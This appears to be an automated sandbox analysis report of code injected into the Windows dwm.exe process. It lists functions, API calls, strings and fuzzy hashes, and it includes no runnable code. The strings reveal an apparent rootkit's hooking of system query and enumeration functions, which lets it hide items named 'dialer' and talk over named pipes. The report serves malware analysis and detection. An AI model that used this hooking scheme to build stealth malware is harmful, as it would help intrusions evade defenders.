UnhandledExceptionFilter.KERNEL32 ref: 000001D15B057EB4

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 166b74c58df0480c742262e208ef69e5dcb0f39bcb00e6a54bfe8170d320d707
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: F3313B72205B80AAEB609FA0F8907ED7374F786744F44452ADA4E57B98EF3CC648CB10

Function 000001D15B05D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000001D15B05D31D
RtlLookupFunctionEntry.NTDLL ref: 000001D15B05D335
RtlVirtualUnwind.NTDLL ref: 000001D15B05D370
IsDebuggerPresent.KERNEL32 ref: 000001D15B05D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000001D15B05D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000001D15B05D3BE

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 91cee1b51a5b39d856704e4d174ecbcfdf22eb2d770e899cc0d1f04db19a8404
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: F3314C32214B80A6DB609F65E9817EE73B4F7CA794F500226EA9D43B94DF3CC556CB00

Function 000001D15B0512BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001D15B051319
GetProcessHeap.KERNEL32 ref: 000001D15B051327
HeapAlloc.KERNEL32 ref: 000001D15B051338
RegEnumValueW.ADVAPI32 ref: 000001D15B051397

Part of subcall function 000001D15B05152C: StrCmpIW.SHLWAPI ref: 000001D15B05155D

GetProcessHeap.KERNEL32 ref: 000001D15B0513DF
HeapAlloc.KERNEL32 ref: 000001D15B0513ED
GetProcessHeap.KERNEL32 ref: 000001D15B05140A
HeapFree.KERNEL32 ref: 000001D15B051418
lstrlenW.KERNEL32 ref: 000001D15B051421
GetProcessHeap.KERNEL32 ref: 000001D15B05142F
HeapAlloc.KERNEL32 ref: 000001D15B05143D
StrCpyW.SHLWAPI ref: 000001D15B05145F
GetProcessHeap.KERNEL32 ref: 000001D15B051476
HeapFree.KERNEL32 ref: 000001D15B051484

Strings

d, xrefs: 000001D15B05135A

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: c96a7a718f4b285f698c519ddf9aecd0f938f7f332536690a7c5e347f0db06fa
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: D7513D36604B84A6EB54CFA2F6443DA77B1F7CAB95F144225DA4947B68EF3CC045CB40

Function 000001D15B051D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000001D15B051D1F

Part of subcall function 000001D15B051FD4: GetModuleHandleA.KERNEL32 ref: 000001D15B051FEC
Part of subcall function 000001D15B051FD4: GetProcAddress.KERNEL32 ref: 000001D15B051FFD

Part of subcall function 000001D15B055B30: GetCurrentThreadId.KERNEL32 ref: 000001D15B055B6B

Strings

advapi32.dll, xrefs: 000001D15B051DF7, 000001D15B051E18
ntdll.dll, xrefs: 000001D15B051D2D
NtQuerySystemInformation, xrefs: 000001D15B051D45
NtQueryDirectoryFile, xrefs: 000001D15B051D7F
NtQueryDirectoryFileEx, xrefs: 000001D15B051D9C
NtEnumerateValueKey, xrefs: 000001D15B051DD6
EnumServiceGroupW, xrefs: 000001D15B051DF0
NtDeviceIoControlFile, xrefs: 000001D15B051E56
NtEnumerateKey, xrefs: 000001D15B051DB9
sechost.dll, xrefs: 000001D15B051E39
NtResumeThread, xrefs: 000001D15B051D62
EnumServicesStatusExW, xrefs: 000001D15B051E11, 000001D15B051E32

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: 7fe5af55d7f1992d7dca8ff50263833b7771605b0945004fbd84b1f7652575cd
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: EC31827421095AB0FA04EFE6FF567D46331BBD7384FA057139409169A6AF3C8A4ACF50

Function 000001D15B016910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001D15B016938
__scrt_acquire_startup_lock.LIBCMT ref: 000001D15B01698A
_RTC_Initialize.LIBCMT ref: 000001D15B0169B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001D15B0169DE
__scrt_release_startup_lock.LIBCMT ref: 000001D15B016A09

Strings

`dynamic initializer for ', xrefs: 000001D15B0169C7
`eh vector copy constructor iterator', xrefs: 000001D15B016A3B
scriptor', xrefs: 000001D15B016B39, 000001D15B016BB2, 000001D15B016BEC
`eh vector vbase copy constructor iterator', xrefs: 000001D15B0169EE

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 0f92f31a59dc00eaf722c44483f8f73cd2cc03c828f1b8628713d74c64339858
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 9481AE71701241B6FA58ABE5FE413EA62B1BBC7780F588727AA0547796EF3DC8458F00

Function 000001D15B05CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000001D15B05CE37
FlsGetValue.KERNEL32(?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CE4C
FlsSetValue.KERNEL32(?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CE6D
FlsSetValue.KERNEL32(?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CE9A
FlsSetValue.KERNEL32(?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CEAB
FlsSetValue.KERNEL32(?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CEBC
SetLastError.KERNEL32 ref: 000001D15B05CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CF0D
FlsSetValue.KERNEL32(?,?,00000001,000001D15B05ECCC,?,?,?,?,000001D15B05BF9F,?,?,?,?,?,000001D15B057AB0), ref: 000001D15B05CF2C

Part of subcall function 000001D15B05D6CC: HeapAlloc.KERNEL32 ref: 000001D15B05D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CF54

Part of subcall function 000001D15B05D744: HeapFree.KERNEL32 ref: 000001D15B05D75A
Part of subcall function 000001D15B05D744: GetLastError.KERNEL32 ref: 000001D15B05D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000001D15B060A6B,?,?,?,000001D15B06045C,?,?,?,000001D15B05C84F), ref: 000001D15B05CF76

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: b3ad19021429202aca9d8f687e68461130d53c360a874fb2a6e00981273983ef
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: E0417D3020264475FA78A7F17B563E962B67BC77B0F244727A93706EE6EE6CC4518E00

Function 000001D15B052244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000001D15B052259
GetCurrentProcessId.KERNEL32 ref: 000001D15B052263

Part of subcall function 000001D15B051934: OpenProcess.KERNEL32 ref: 000001D15B051952
Part of subcall function 000001D15B051934: IsWow64Process.KERNEL32 ref: 000001D15B051968
Part of subcall function 000001D15B051934: CloseHandle.KERNEL32 ref: 000001D15B051983

CreateFileW.KERNEL32 ref: 000001D15B0522BC
WriteFile.KERNEL32 ref: 000001D15B0522E4
ReadFile.KERNEL32 ref: 000001D15B052303
CloseHandle.KERNEL32 ref: 000001D15B05230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 000001D15B052293
\\.\pipe\dialerchildproc64, xrefs: 000001D15B05228C

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d22cbe454d27222ba32fd17ad4452946519b4d685ae4a84a2c93603e9800e246
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 03213D32614650A2FB108F65F64439A73B0F7CABA4F600316EA5902AA8DF3CC149CF00

Function 000001D15B019944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001D15B0199A1

Part of subcall function 000001D15B01A814: __GetUnwindTryBlock.LIBCMT ref: 000001D15B01A857
Part of subcall function 000001D15B01A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001D15B01A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001D15B019A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001D15B019CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001D15B019DDA

Strings

csm, xrefs: 000001D15B019A9C
csm, xrefs: 000001D15B0199BB
csm, xrefs: 000001D15B019A22

Memory Dump Source

Source File: 00000040.00000002.3457136320.000001D15B010000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B010000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b010000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: b53b4730d465f63d2a7def7e89c16d69a2edfaff4366ff9ac57791692d03caa6
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 35E18172605740BAEF68DFA5EA803DD77B4F786B98F500216EE8957B55CB38C192CB00

Function 000001D15B05A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000001D15B05A5A1

Part of subcall function 000001D15B05B414: __GetUnwindTryBlock.LIBCMT ref: 000001D15B05B457
Part of subcall function 000001D15B05B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000001D15B05B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000001D15B05A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000001D15B05A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000001D15B05A9DA

Strings

csm, xrefs: 000001D15B05A622
csm, xrefs: 000001D15B05A5BB
csm, xrefs: 000001D15B05A69C

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: c2966b244c91387b86f4ee71bd5712465287522a86d06725f8c10a983de27fde
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: ABE16B72604B50AAEB209FA5A6803ED7BF0F786798F101616EE8957F95CB38D581CF00

Function 000001D15B05F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000001D15B05F510
GetProcAddress.KERNEL32 ref: 000001D15B05F51C

Strings

ext-ms-, xrefs: 000001D15B05F46D
api-ms-, xrefs: 000001D15B05F45A

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: e3b97a724a0c26b647ccb6e373b026aa595d47d4d51ccea169569e405195ee25
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: CC41A132311A00B1FB16CB96BA547DA63B5B7C6BA0F59432B9D0A87BC4EF3CD4458B50

Function 000001D15B05104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000001D15B0510B1
RegEnumValueW.ADVAPI32 ref: 000001D15B051117
GetProcessHeap.KERNEL32 ref: 000001D15B05115A
HeapAlloc.KERNEL32 ref: 000001D15B051168
GetProcessHeap.KERNEL32 ref: 000001D15B051185
HeapFree.KERNEL32 ref: 000001D15B051193

Strings

d, xrefs: 000001D15B0510D6

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 44afd042e49ab65951f41e6b610310bbee1131a53f61888b396ffb9ad00e8565
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 50416033214B84E6E760CF61E54439A77B1F389B98F14822ADA8947B58EF3CC445CB40

Function 000001D15B05D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000001D15B05C7DE,?,?,?,?,?,?,?,?,000001D15B05CF9D,?,?,00000001), ref: 000001D15B05D087
FlsSetValue.KERNEL32(?,?,?,000001D15B05C7DE,?,?,?,?,?,?,?,?,000001D15B05CF9D,?,?,00000001), ref: 000001D15B05D0A6
FlsSetValue.KERNEL32(?,?,?,000001D15B05C7DE,?,?,?,?,?,?,?,?,000001D15B05CF9D,?,?,00000001), ref: 000001D15B05D0CE
FlsSetValue.KERNEL32(?,?,?,000001D15B05C7DE,?,?,?,?,?,?,?,?,000001D15B05CF9D,?,?,00000001), ref: 000001D15B05D0DF
FlsSetValue.KERNEL32(?,?,?,000001D15B05C7DE,?,?,?,?,?,?,?,?,000001D15B05CF9D,?,?,00000001), ref: 000001D15B05D0F0

Strings

Y%, xrefs: 000001D15B05D0A6
1%, xrefs: 000001D15B05D0CE

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 41f9ce6d9ddd2d6c1010ab8f520e8c2d84c71fe11114ae84875650061be5add4
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: FA118E3070064471FA68A7E57B577E962657BC63F0F245327A93A46EEAEE6CC4438E00

Function 000001D15B057510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000001D15B057538
__scrt_acquire_startup_lock.LIBCMT ref: 000001D15B05758A
_RTC_Initialize.LIBCMT ref: 000001D15B0575B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000001D15B0575DE
__scrt_release_startup_lock.LIBCMT ref: 000001D15B057609

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 649a3a510a17e257c2683002df8c526a2f7044ccebf7fe0ebf0c35d86368e9bc
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 1081C270600601BAFA54ABE5B6C13F962B4BBC7780F548717AA4547BD6DB7CC845EF00

Function 000001D15B059DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000001D15B059E49
GetLastError.KERNEL32 ref: 000001D15B059E57
LoadLibraryExW.KERNEL32 ref: 000001D15B059E81
FreeLibrary.KERNEL32 ref: 000001D15B059EC7
GetProcAddress.KERNEL32 ref: 000001D15B059ED3

Strings

api-ms-, xrefs: 000001D15B059E69

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 9f23059ca0a2315b9bb008316f1aabcda0a3a3bc3a2245b132ec215b988e5649
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 06318331212A40F1EE21DB82BA447E562B4B7CABA0F5907269D1E4BBD1EF3DC4858F10

Function 000001D15B063DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000001D15B063DE5
GetLastError.KERNEL32 ref: 000001D15B063DF1
CloseHandle.KERNEL32 ref: 000001D15B063E09
CreateFileW.KERNEL32 ref: 000001D15B063E34
WriteConsoleW.KERNEL32 ref: 000001D15B063E53

Strings

CONOUT$, xrefs: 000001D15B063E15

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 4b5f6ea545711fcc5774dc64413d02da4f88c60f4c10ec18ace9a0d11dbb7d2b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 26115E31714A40A6E7508F96FA44399B6B0F7CAFE4F244326EA5A877A4CF7CC4148B84

Function 000001D15B052F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000001D15B052F27
HeapAlloc.KERNEL32 ref: 000001D15B052F3A
StrCmpNIW.SHLWAPI ref: 000001D15B052FAF
GetProcessHeap.KERNEL32 ref: 000001D15B053015
HeapFree.KERNEL32 ref: 000001D15B053023

Strings

dialer, xrefs: 000001D15B052FA8

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 97f997c12409b34ceb798f425df53f1968643669e46be52c980ecc3634201710
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 87319032701B51B2EA14CF96FA407A977B0FB86B80F0842329E4947B95EF3CC4618B00

Function 000001D15B05CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000001D15B05CFAF
FlsSetValue.KERNEL32(?,?,?,000001D15B05D6B5,?,?,?,?,000001D15B05D778), ref: 000001D15B05CFE5
FlsSetValue.KERNEL32(?,?,?,000001D15B05D6B5,?,?,?,?,000001D15B05D778), ref: 000001D15B05D012
FlsSetValue.KERNEL32(?,?,?,000001D15B05D6B5,?,?,?,?,000001D15B05D778), ref: 000001D15B05D023
FlsSetValue.KERNEL32(?,?,?,000001D15B05D6B5,?,?,?,?,000001D15B05D778), ref: 000001D15B05D034
SetLastError.KERNEL32 ref: 000001D15B05D04F

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 83e5c73e7e11c21f5551f56a6c2f95734b0ea222993be1e68b691b63c647228c
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: BD116D3020164471FA64A7A1BB567E962767BC67B0F245727A93647FE6EE6CC4028F00

Function 000001D15B05199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000001D15B0519C2
K32GetModuleFileNameExW.KERNEL32 ref: 000001D15B0519E0
PathFindFileNameW.SHLWAPI ref: 000001D15B0519EF
lstrlenW.KERNEL32 ref: 000001D15B0519FB
StrCpyW.SHLWAPI ref: 000001D15B051A0E
CloseHandle.KERNEL32 ref: 000001D15B051A1C

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9744b8122b6b2a523495e4084416549d3db7e6c7e882648d228f8de3728d1ece
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: E9015B31300A40B2EA10DF92B5583D963B5FB89BC4F684136DE4943B64DF3CC549CB40

Function 000001D15B0536C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000001D15B0536E4
GetCurrentProcess.KERNEL32 ref: 000001D15B0536F2
VirtualProtectEx.KERNEL32 ref: 000001D15B053714
GetCurrentProcess.KERNEL32 ref: 000001D15B053732
VirtualProtectEx.KERNEL32 ref: 000001D15B053753
TerminateThread.KERNEL32 ref: 000001D15B053762

Memory Dump Source

Source File: 00000040.00000002.3457186865.000001D15B050000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001D15B050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_64_2_1d15b050000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: bfa79d6b72dc2b03214b0c71d68d76599a302ce302c4d8f5de8811166a35e48a
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 83016D74611B44B2FB249FA1F90879673B0FB86B82F140626CD4A077A4EF3CC5488F00

Function 000001D15B058FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000001D15B059013
_IsNonwritableInCurrentImage.LIBCMT ref: 000001D15B0590A8
RtlUnwindEx.NTDLL ref: 000001D15B0590F7

Strings

csm, xrefs: 000001D15B05908E
f, xrefs: 000001D15B059026

